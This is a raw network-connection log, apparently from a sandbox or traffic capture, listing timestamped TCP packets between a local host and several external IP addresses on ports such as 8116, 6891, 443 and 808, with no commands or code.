Oct 28, 2021 04:51:16.451507092 CEST	8116	49787	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.487379074 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.487406015 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.487472057 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:16.495321989 CEST	49786	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:16.616523027 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.642920017 CEST	8116	49787	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.642946005 CEST	8116	49787	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.643201113 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.645529032 CEST	49787	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.661642075 CEST	6891	49786	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:16.673223972 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.673331022 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.674307108 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.698659897 CEST	8116	49787	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.730801105 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.731018066 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.731111050 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.731589079 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.735827923 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.735940933 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.792576075 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.793149948 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.816365004 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:16.816430092 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:16.816546917 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:16.817337990 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:16.817369938 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:16.962723017 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.962764025 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:16.962948084 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.963021040 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:16.970885038 CEST	49788	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:17.027559996 CEST	8116	49788	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:17.085443020 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.085488081 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.085589886 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.086296082 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.086308002 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.316293001 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.316919088 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.317142010 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.317157030 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.324513912 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.324527979 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.324743986 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.324758053 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.583219051 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.583365917 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.583940983 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.583951950 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.592084885 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.592108965 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:17.592186928 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:17.592206001 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:18.014170885 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:18.014266968 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:18.014347076 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:18.014369011 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:18.016917944 CEST	49789	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:18.016952991 CEST	443	49789	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:18.160610914 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.285183907 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:18.285298109 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:18.285569906 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:18.285598040 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:18.296149969 CEST	49790	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:18.296195984 CEST	443	49790	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:18.318845987 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.318995953 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.320267916 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.422437906 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.478113890 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.478147984 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.478279114 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.526223898 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.529864073 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.529964924 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.590637922 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.590791941 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.684351921 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.687725067 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.687745094 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.687757969 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.687776089 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.687792063 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.694267035 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.862412930 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.862468004 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:18.862552881 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.862991095 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.866506100 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:18.866588116 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:19.030829906 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.034725904 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.034755945 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.034765959 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.064470053 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.064493895 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.064588070 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:19.064615965 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:19.071145058 CEST	49791	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:19.191653967 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:19.228923082 CEST	808	49791	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.358053923 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:19.358251095 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:19.359438896 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:19.422518969 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.422549009 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:19.422708035 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:19.422754049 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:19.525727034 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:19.525846958 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:19.525970936 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:19.858177900 CEST	49792	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:19.862219095 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:19.865801096 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:19.865901947 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:19.978230953 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.026376963 CEST	808	49792	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:20.032115936 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.032139063 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.032145977 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.144545078 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.144706964 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.145649910 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.311887980 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.311929941 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.312041044 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.312906981 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.317533016 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.317646027 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.430389881 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.430416107 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.430546999 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.483861923 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.483891964 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.704281092 CEST	49793	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.820094109 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:20.870582104 CEST	6891	49793	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.872931004 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:20.873121977 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:20.882145882 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.882170916 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:20.882270098 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.882302999 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.927469969 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:20.935312986 CEST	49794	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:20.980201960 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:20.980477095 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:20.980571985 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.039882898 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.043373108 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.043467999 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.052764893 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.096035957 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.096752882 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.101630926 CEST	6891	49794	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:21.106409073 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.106595993 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.107295990 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.165548086 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.167083979 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.167217016 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.167905092 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.175432920 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.175563097 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.228739977 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.228962898 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.229326010 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.231667042 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.304826021 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.304872990 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.305006027 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.307651997 CEST	49795	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.366250038 CEST	8116	49795	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.415687084 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.415712118 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.415786028 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.415858984 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.424093962 CEST	49796	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:21.426542997 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.426590919 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:21.426671982 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.427297115 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.427320004 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:21.477370024 CEST	8116	49796	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:21.538718939 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.538755894 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:21.538866997 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.539988995 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.540013075 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:21.943154097 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:21.943244934 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.943983078 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.944009066 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:21.949234962 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.949264050 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:21.949294090 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:21.949305058 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.028260946 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.028372049 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.029114008 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.029134035 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.034466982 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.034493923 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.034557104 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.034570932 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.659765959 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.659853935 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.659878969 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.659905910 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.659929991 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.659950018 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.662259102 CEST	49797	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.662286997 CEST	443	49797	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.722551107 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.722625971 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.722754955 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.728741884 CEST	49798	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:51:22.728771925 CEST	443	49798	192.46.210.220	192.168.2.5
Oct 28, 2021 04:51:22.801601887 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:22.961360931 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:22.961566925 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:22.961698055 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:22.962362051 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.121850014 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.121889114 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.122024059 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.122051954 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.122654915 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.122693062 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.123162031 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.127305984 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.127414942 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.282517910 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.282821894 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.282937050 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.283016920 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.283471107 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.286739111 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.286770105 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.286787987 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.286806107 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.286822081 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.287448883 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.287556887 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.443712950 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.447705984 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.447740078 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.447756052 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.447770119 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.447784901 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.666980028 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.667001963 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.667201996 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.670547962 CEST	49799	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.785655022 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:23.831708908 CEST	808	49799	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.833596945 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.833663940 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:23.833782911 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.833842039 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.841461897 CEST	49800	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:51:23.951090097 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:23.951369047 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:23.952156067 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:23.963371992 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.001780033 CEST	808	49800	143.244.140.214	192.168.2.5
Oct 28, 2021 04:51:24.117660999 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.117774963 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.117881060 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.118772030 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.127350092 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.127643108 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.129837990 CEST	6891	49802	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.130081892 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.131083965 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.292664051 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.293014050 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.293112993 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.297486067 CEST	6891	49802	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.297499895 CEST	6891	49802	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.297707081 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.298265934 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.302233934 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.302345037 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.471972942 CEST	6891	49802	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.682415009 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.682439089 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.682653904 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.685771942 CEST	49801	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.802722931 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.848501921 CEST	6891	49802	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.848548889 CEST	6891	49802	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.848601103 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.848637104 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.852150917 CEST	6891	49801	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:24.861748934 CEST	49802	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:51:24.861828089 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:24.861937046 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.862492085 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.921390057 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:24.921730042 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:24.921818018 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.922533989 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.927685976 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.927987099 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.973361969 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:24.986850977 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:24.986880064 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:24.988004923 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.021193027 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.021414042 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.022456884 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.028121948 CEST	6891	49802	45.77.0.96	192.168.2.5
Oct 28, 2021 04:51:25.070004940 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.070339918 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.070488930 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.071141005 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.078672886 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.078819036 CEST	49804	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.126336098 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.126941919 CEST	8116	49804	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.160126925 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.160154104 CEST	8116	49803	185.56.219.47	192.168.2.5
Oct 28, 2021 04:51:25.160350084 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.160389900 CEST	49803	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:51:25.162667990 CEST	49803	8116	192.168.2.5	185.56.219.47
